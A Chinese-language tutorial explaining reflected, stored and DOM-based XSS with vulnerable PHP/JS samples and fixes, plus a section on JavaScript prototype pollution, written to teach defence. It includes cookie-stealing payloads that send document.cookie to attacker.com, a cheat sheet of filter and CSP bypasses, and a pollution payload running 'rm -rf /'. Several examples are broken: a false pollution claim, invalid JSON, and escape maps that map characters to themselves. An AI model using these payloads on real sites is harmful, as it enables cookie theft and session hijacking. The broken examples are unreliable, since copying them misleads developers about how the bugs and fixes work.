XSS漏洞知识总结
一、XSS漏洞原理
1.概述
XSS被称为跨站脚本攻击(Cross Site Scripting),由于和层叠样式表(Cascading Style Sheets,CSS)重名,改为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击!
主要基于JavaScript语言进行恶意攻击,因为js非常灵活操作html、css、浏览器。
2.利用方式
利用网页开发时web应用程序对用户输入过滤不足导致将恶意代码注入到网页中,使用户浏览器加载并执行恶意代码,通常是JavaScript类型,也包括java、vbs、flash、html等。
3.执行方式
用户浏览被XSS注入过的网页,浏览器就会解析这段代码,就被攻击了。因为浏览器当中有JavaScript解析器,浏览器不会判断代码是否恶意,只要符合语法规则,就直接解析了。
4.攻击对象
客户端攻击,对象大多为用户,网站管理员。
还有微博,网页留言板,聊天室等收集用户输入的地方。
5.XSS危害
(1)窃取cookie
因为大部分人喜欢将密码储存到浏览器当中,所以黑客一般渗透的时候就会先来浏览器查看已保存的cookie 来盗取各种用户账号
(2)未授权操作
js特性很强大,黑客会直接代替用户在html进行各类操作。比如劫持会话,刷流量,执行弹窗广告,还能记录用户的键盘输入。
(3)传播蠕虫病毒
6.简单代码
<?php
$input = $_GET["XSS"];
echo "<div>".$input."</div>";
?>
在这段PHP代码中 主要具有两个功能:
1.获取用户输入:
$input = $_GET["XSS"];
这行代码的作用是从 HTTP GET 请求的参数中获取名为XSS
的参数值 。比如访问http://yourdomain.com/yourscript.php?XSS=test
时,$input
变量就会被赋值为test
。2.输出内容到页面:
echo "<div>".$input."</div>";
会把获取到的$input
变量的值,包裹在<div>
标签里,输出到页面的 HTML 中,最终在浏览器渲染后,会以<div>
包含对应内容的形式展示。
但是这段代码存在 反射型 XSS(跨站脚本攻击)漏洞 :
因为它直接把用户可控的
GET
参数(未做任何过滤、转义处理)拼接到 HTML 输出里。如果攻击者构造恶意请求,比如让用户访问http://yourdomain.com/yourscript.php?XSS=<script>alert('恶意脚本执行')</script>
,当页面执行echo
输出时,浏览器会把<script>
里的代码当作合法 JavaScript 执行,可能导致弹窗骚扰用户、窃取用户 Cookie(进而冒充用户身份)、劫持会话等危害。
若要安全输出用户输入,需对内容进行 HTML 转义,使用 htmlspecialchars
函数,示例:
<?php
$input = $_GET["XSS"];
// 转义特殊字符,避免 XSS,指定编码为 UTF-8,处理单双引号
echo "<div>".htmlspecialchars($input, ENT_QUOTES, 'UTF-8')."</div>";
?>
这样能把像 <
>
等特殊字符转成 HTML 实体(如 <
转成 <
),保证浏览器当作文本渲染,而非可执行代码,从而防范 XSS 攻击 。
二、XSS漏洞分类
1.反射型XSS
原理
用户在请求某个URL地址时,会携带一部分数据。当客户端进行访问某条链接时,攻击者可以将恶意代码注入到URL,如果服务器端未对URL携带的参数做判断和过滤,直接返回响应页面,那么XSS攻击代码就会被一起传输到用户的浏览器,触发反射型XSS。
特点
非持久性
参数脚本
js代码在web应用的参数当中:搜索框
数据流量:浏览器---->后端---->浏览器
案例
场景假设:
假设有一个网站,其中有一个搜索页面
search.php
,原本设计是让用户输入关键词,然后返回搜索结果。但是,该页面的代码没有对用户输入进行安全处理。
search.php
的原始代码(存在漏洞版本)如下:<?php // 获取用户通过GET方式传递的关键词 $keyword = $_GET['keyword']; ?> <!DOCTYPE html> <html lang="zh-CN"> <head><meta charset="UTF-8"><title>搜索结果</title> </head> <body><h1>搜索关键词:<?php echo $keyword;?></h1><!-- 这里假设会展示搜索结果,实际可能是数据库查询后的内容展示 --><p>暂未找到相关结果。</p> </body> </html>
上述代码直接将用户通过
GET
请求传入的keyword
参数输出到 HTML 页面中,没有进行任何过滤或转义处理。
攻击过程:
攻击者构造一个恶意的 URL,例如:
http://example.com/search.php?keyword=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
当受害者点击这个链接时:
- 服务器接收到请求,获取到
keyword
参数值为恶意的 JavaScript 代码。- 服务器将
keyword
的值直接输出到 HTML 页面中,浏览器解析页面时,会执行这段恶意的 JavaScript 代码。- 代码会将受害者当前网站的 Cookie 信息发送到攻击者指定的
http://attacker.com/steal.php
页面,攻击者通过steal.php
脚本就可以获取到受害者的 Cookie。- 攻击者拿到 Cookie 后,可能会利用该 Cookie 进行会话劫持,冒充受害者登录网站,执行各种非法操作,比如修改受害者的个人信息、进行交易等。
如何防御:
要修复这个反射型 XSS 漏洞,可以对输出到 HTML 页面中的用户输入进行转义,使用
htmlspecialchars
函数,修改后的search.php
代码如下:<?php // 获取用户通过GET方式传递的关键词 $keyword = $_GET['keyword']; ?> <!DOCTYPE html> <html lang="zh-CN"> <head><meta charset="UTF-8"><title>搜索结果</title> </head> <body><h1>搜索关键词:<?php echo htmlspecialchars($keyword, ENT_QUOTES, 'UTF-8');?></h1><!-- 这里假设会展示搜索结果,实际可能是数据库查询后的内容展示 --><p>暂未找到相关结果。</p> </body> </html>
htmlspecialchars
函数会将特殊的 HTML 字符转换为 HTML 实体,比如将<
转换为<
,这样浏览器就会将其当作普通文本显示,而不会执行恶意脚本,从而有效防范反射型 XSS 攻击。
2.存储型XSS
存储型XSS是持久性跨站脚本,其持久性体现在XSS代码不是在某个参数(变量)中,而是写进数据库或文件等可以永久保存数据的介质中,存储型XSS通常发生在留言板等地方,我们在留言板位置留言并将恶意代码写进数据库中,此时我们只完成了第一步即把恶意代码写入数据库,因为XSS使用的JS代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS代码才能真正触发XSS,此时需要我们模拟网站后台管理员的身份查看留言。
原理
被保存到服务器上,显示到HTML页面中,经常出现在用户评论的页面,攻击者将XSS代码保存到数据库中,当用户在此访问这个页面时,就会触发并执行XSS代码,窃取用户的敏感信息。
特点
危害性最大:持久的保存在服务器上
持久型XSS
js代码不在某个参数中,而是被写进了数据库或文件可以永久保存数据的介质中,如留言板等。
数据流量走向:浏览器—>后端—>数据库—>后端—>浏览器
案例
场景假设:
假设存在一个简单的留言板网站,使用 PHP 和 MySQL 搭建,允许用户输入姓名和留言内容,管理员可以在后台查看所有留言。
漏洞代码分析:
- 前端页面(
index.html
):包含一个表单,用于用户提交姓名和留言。<!DOCTYPE html> <html><body><form action="submit.php" method="post"><label for="name">姓名:</label><input type="text" id="name" name="name" required><br><label for="message">留言:</label><textarea id="message" name="message" required></textarea><br><input type="submit" value="提交"></form> </body></html>
- 后端处理页面(
submit.php
):接收前端提交的数据,将其插入到数据库中,但未对数据进行任何安全处理。<?php // 数据库连接配置 $servername = "localhost"; $username = "root"; $password = "password"; $dbname = "guestbook";// 创建连接 $conn = new mysqli($servername, $username, $password, $dbname);// 检查连接 if ($conn->connect_error) {die("连接失败: ". $conn->connect_error); }// 获取用户输入 $name = $_POST['name']; $message = $_POST['message'];// 插入数据到数据库,未对输入进行处理 $sql = "INSERT INTO messages (name, message) VALUES ('$name', '$message')"; if ($conn->query($sql) === TRUE) {echo "留言提交成功"; } else {echo "Error: ". $sql. "<br>". $conn->error; }$conn->close(); ?>
- 查看留言页面(
view.php
):从数据库中读取留言,并显示在页面上,同样未对从数据库中取出的数据进行处理。<?php // 数据库连接配置 $servername = "localhost"; $username = "root"; $password = "password"; $dbname = "guestbook";// 创建连接 $conn = new mysqli($servername, $username, $password, $dbname);// 检查连接 if ($conn->connect_error) {die("连接失败: ". $conn->connect_error); }// 从数据库获取留言 $sql = "SELECT * FROM messages"; $result = $conn->query($sql);if ($result->num_rows > 0) {while($row = $result->fetch_assoc()) {echo "姓名: ". $row["name"]. "<br>";echo "留言: ". $row["message"]. "<br><hr>";} } else {echo "没有留言"; }$conn->close(); ?>
攻击过程:
- 攻击者访问留言板页面
index.html
,在姓名或留言输入框中输入恶意脚本,例如在留言输入框中输入<script>alert('你被XSS攻击了!')</script>
,然后提交表单。submit.php
页面将攻击者输入的数据未经处理直接插入到数据库中。- 当管理员访问
view.php
页面查看留言时,浏览器从服务器获取到包含恶意脚本的留言数据,并将其渲染到页面中。由于浏览器会执行页面中的 JavaScript 代码,所以恶意脚本被执行,弹出 “你被 XSS 攻击了!” 的警告框。如果攻击者将恶意脚本编写得更复杂,例如<script>fetch('https://attacker.com/steal.php', {method: 'POST', body: document.cookie});</script>
,还可以将管理员的 Cookie 等敏感信息发送到攻击者的服务器,进而可能实现会话劫持等更严重的攻击。
修复方法:
- 在
submit.php
页面中,对用户输入的数据进行严格的过滤和转义,使用htmlspecialchars
函数将特殊的 HTML 字符转换为 HTML 实体,例如:$name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF - 8'); $message = htmlspecialchars($_POST['message'], ENT_QUOTES, 'UTF - 8');
- 在
view.php
页面中,同样对从数据库中取出并要输出到页面的数据进行转义处理,再进行显示,以确保恶意脚本不会被执行。
3.DOM型XSS
原理
基于文档对象模型(DOM)的一种漏洞。这种XSS与反射型XSS、存储型XSS有着本质的区别,它的攻击代码不需要服务器解析响应,触发XSS依靠浏览器端的DOM解析,客户端的JavaScript脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获取数据并执行。
特点
- 不经过服务器:恶意脚本的注入和执行完全在前端完成,服务器未参与数据存储或输出,因此传统的服务器端过滤可能失效。
- 依赖前端 JavaScript:漏洞根源是前端代码对 DOM 操作的不安全处理,需重点关注
innerHTML
、outerHTML
、document.write()
等危险 API 的使用。
非持久性
数据流量:URL—>浏览器
案例
场景假设:
一个简单的网页,功能是 “搜索结果展示”:用户输入搜索关键词后,页面通过 JavaScript 直接从 URL 的
search
参数中读取内容,并动态插入到页面 DOM 中,用于显示 “您搜索的内容是:XXX”
漏洞代码(前端 HTML)
<!DOCTYPE html> <html> <head><title>DOM型XSS示例</title> </head> <body><h1>搜索结果</h1><!-- 显示搜索关键词的区域 --><div id="searchResult"></div><script>// 从URL中获取search参数的值(例如:?search=test)function getParameter(name) {const urlParams = new URLSearchParams(window.location.search);return urlParams.get(name);}// 直接将参数值插入到页面DOM中const searchTerm = getParameter('search');document.getElementById('searchResult').innerHTML = `您搜索的内容是:${searchTerm}`;</script> </body> </html>
漏洞分析
代码的核心问题在于:通过
innerHTML
直接将用户可控的search
参数值插入到 DOM 中,且未做任何过滤或转义。
innerHTML
会将内容解析为 HTML 并执行其中的脚本,而非当作纯文本处理。- 用户输入的内容(通过 URL 参数
search
传递)完全可控,攻击者可构造恶意脚本。
攻击过程
1.攻击者构造恶意 URL:
攻击者在search
参数中插入恶意 JavaScript 代码,例如:http://example.com/search.html?search=<script>alert('DOM XSS攻击成功')</script>
2.受害者访问 URL:
当受害者点击该 URL 时,页面通过 JavaScript 读取search
参数的值,并通过innerHTML
插入到searchResult
节点中。3.恶意脚本执行:
浏览器解析页面时,会将<script>
标签内的代码当作合法脚本执行,弹出 “DOM XSS 攻击成功” 的警告框。4.更危险的攻击:
攻击者可编写窃取 Cookie 的脚本,例如:http://example.com/search.html?search=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
受害者访问后,其 Cookie 会被发送到攻击者的服务器,可能导致会话劫持。
修复方法
核心原则:避免将用户可控内容通过
innerHTML
等危险方式插入 DOM,或对内容进行严格转义。方法 1:使用
textContent
替代innerHTML
(推荐)
textContent
会将内容当作纯文本处理,不会解析 HTML 或执行脚本:// 安全的写法:用textContent替代innerHTML document.getElementById('searchResult').textContent = `您搜索的内容是:${searchTerm}`;
方法 2:对内容进行 HTML 转义
若必须使用
innerHTML
,需先将特殊字符转义为 HTML 实体(如<
转<
):// 定义转义函数 function escapeHtml(unsafe) {return unsafe.replace(/[&<>"']/g, function(match) {const entities = {'&': '&','<': '<','>': '>','"': '"',"'": '''};return entities[match];}); }// 转义后再插入DOM const safeSearchTerm = escapeHtml(searchTerm || ''); document.getElementById('searchResult').innerHTML = `您搜索的内容是:${safeSearchTerm}`;
DOM 型 XSS 的防御核心在于规范前端 DOM 操作,避免信任用户输入的内容。
三、XSS payload及变形
1.基础反射型 / 存储型 XSS Payloads
(1) 基础弹窗测试
<script>alert('XSS')</script>
<svg/onload=alert(1)>
(2) Cookie 窃取(最危险)
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
(3) 会话劫持(结合 CSRF)
<script>window.open('https://victim-site.com/transfer?amount=1000&to=attacker')</script>
2.变形与绕过技术
(1) 大小写混淆
<ScRiPt>alert('XSS')</ScRiPt>
(2) 标签嵌套绕过过滤
<scr<script>ipt>alert('XSS')</scr</script>ipt>
(3) 事件处理函数(无需<script>
标签)
<img src="x" onerror="alert('XSS')">
<div onmouseover="alert('XSS')">Hover me</div>
<input type="text" onfocus="alert('XSS')">
(4) HTML 实体编码
<script>alert(1)</script> <!-- <script>alert(1)</script> -->
(5) JavaScript URI 编码
javascript:alert('XSS')
(6)SVG 注入
<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')">
3.DOM 型 XSS 专用 Payloads
(1)URL 参数注入(利用location.hash
或location.search
)
// 假设漏洞点在location.hash中
http://example.com/#<script>alert('XSS')</script>// 利用document.write()
http://example.com/search?term=<script>document.write('XSS')</script>
(2)利用eval()
/setTimeout()
等动态执行函数
// 假设存在漏洞:eval(user_input)
http://example.com?data=alert('XSS') // 结合 onerror 或其他事件触发// 变形:
http://example.com?callback=alert('XSS') // JSONP回调注入
4.高级变形技术
(1) 编码绕过(Base64/Unicode)
<script>eval(atob('YWxlcnQoJ1hTUycp'))</script> <!-- 解码后为alert('XSS') -->
(2) 利用 HTML5 特性
<video src="x" onerror="alert('XSS')"></video>
<audio src="x" onerror="alert('XSS')"></audio>
(3) 跨协议攻击
<script src="https://attacker.com/malicious.js"></script>
(4) CSS 注入(结合 XSS)
<style>body{background-image:url('javascript:alert("XSS")')}</style>
5.防御绕过策略
(1)过滤<script>
标签:
使用事件处理函数(如onerror
)或 SVG 替代。
(2)转义引号:
使用不需要引号的事件(如<svg onload>
)。
(3)CSP(内容安全策略)绕过:
<!-- 假设CSP允许'self',但未限制data: -->
<script src="data:text/javascript,alert('XSS')"></script>
(4)JavaScript 混淆:
[].forEach.call('alert("XSS")'.split(''),function(c){document.write(c)})
补充
原型链污染
原型链污染(Prototype Pollution)是一种 JavaScript 特有的安全漏洞,攻击者通过修改 JavaScript 对象的原型(Object.prototype
)来改变所有对象的行为。这种漏洞可能导致严重的安全后果,如任意代码执行、XSS 攻击或绕过安全机制。
一、JavaScript 原型链基础
JavaScript 使用原型继承,每个对象都有一个内部属性[[Prototype]]
(可通过__proto__
访问)。当访问一个对象的属性时,JavaScript 会先查找对象本身,若找不到则沿原型链向上查找。所有对象最终继承自Object.prototype
。
示例
const obj = {};
obj.toString(); // 继承自Object.prototype.toString
二、原型链污染原理
攻击者通过修改Object.prototype
注入新属性或方法,导致所有对象(包括系统对象)继承这些改动。常见的注入点是允许用户修改对象属性的函数(如配置合并、递归赋值等)。
攻击条件:
- 应用动态修改对象属性(尤其是嵌套对象)。
- 未对用户输入进行严格过滤。
三、漏洞示例
1. 基础污染(通过__proto__
)
const userInput = JSON.parse('{"__proto__":{"isAdmin":true}}');
const obj = {};
console.log(obj.isAdmin); // 输出true,原型被污染
2. 真实场景:配置合并函数
许多库(如lodash
、webpack
)提供深合并功能,若未过滤__proto__
,可能导致污染:
function merge(target, source) {for (const key in source) {if (typeof target[key] === 'object' && typeof source[key] === 'object') {merge(target[key], source[key]); // 递归合并} else {target[key] = source[key]; // 直接赋值}}return target;
}// 攻击向量
const payload = JSON.parse('{"__proto__":{"secret":"hacked"}}');
const config = {};merge(config, payload);
console.log({}.secret); // 输出"hacked",所有对象被污染
四、攻击场景
1. 绕过 JWT 验证
// 假设应用通过obj.token存在性验证用户
const payload = JSON.parse('{"__proto__":{"token":"admin"}}');
merge({}, payload);const user = {};
if (user.token) {console.log("已认证为管理员"); // 绕过验证
}
2. XSS 攻击
// 假设应用将用户输入直接嵌入HTML
const payload = JSON.parse('{"__proto__":{"toString":"<script>alert("XSS")</script>"}}');
merge({}, payload);const output = `<div>${{}}</div>`; // 触发XSS
3. 任意代码执行
通过污染Function.prototype
或process
对象(Node.js 环境):
// Node.js环境
const payload = JSON.parse('{"__proto__":{"constructor":{"prototype":{"env":{"NODE_OPTIONS":"--require=child_process;child_process.execSync(\"rm -rf /\")"}}}}}}');
merge({}, payload);
// 后续代码执行时可能触发命令执行
五、防御措施
1. 禁止修改原型属性
在合并函数中过滤__proto__
、constructor
和prototype
:
function safeMerge(target, source) {for (const key in source) {if (key === '__proto__' || key === 'constructor' || key === 'prototype') {continue; // 跳过原型相关属性}// 其他合并逻辑...}
}
2. 使用安全的解析函数
避免直接解析用户输入的 JSON,使用JSON.parse
的 reviver 参数:
const safeObj = JSON.parse(userInput, (key, value) => {if (key === '__proto__') return undefined;return value;
});
3. 禁用原型继承
使用Object.create(null)
创建无原型的对象:
const obj = Object.create(null); // 没有继承任何属性
4. 限制用户输入
只允许白名单内的字符或格式,避免复杂对象结构。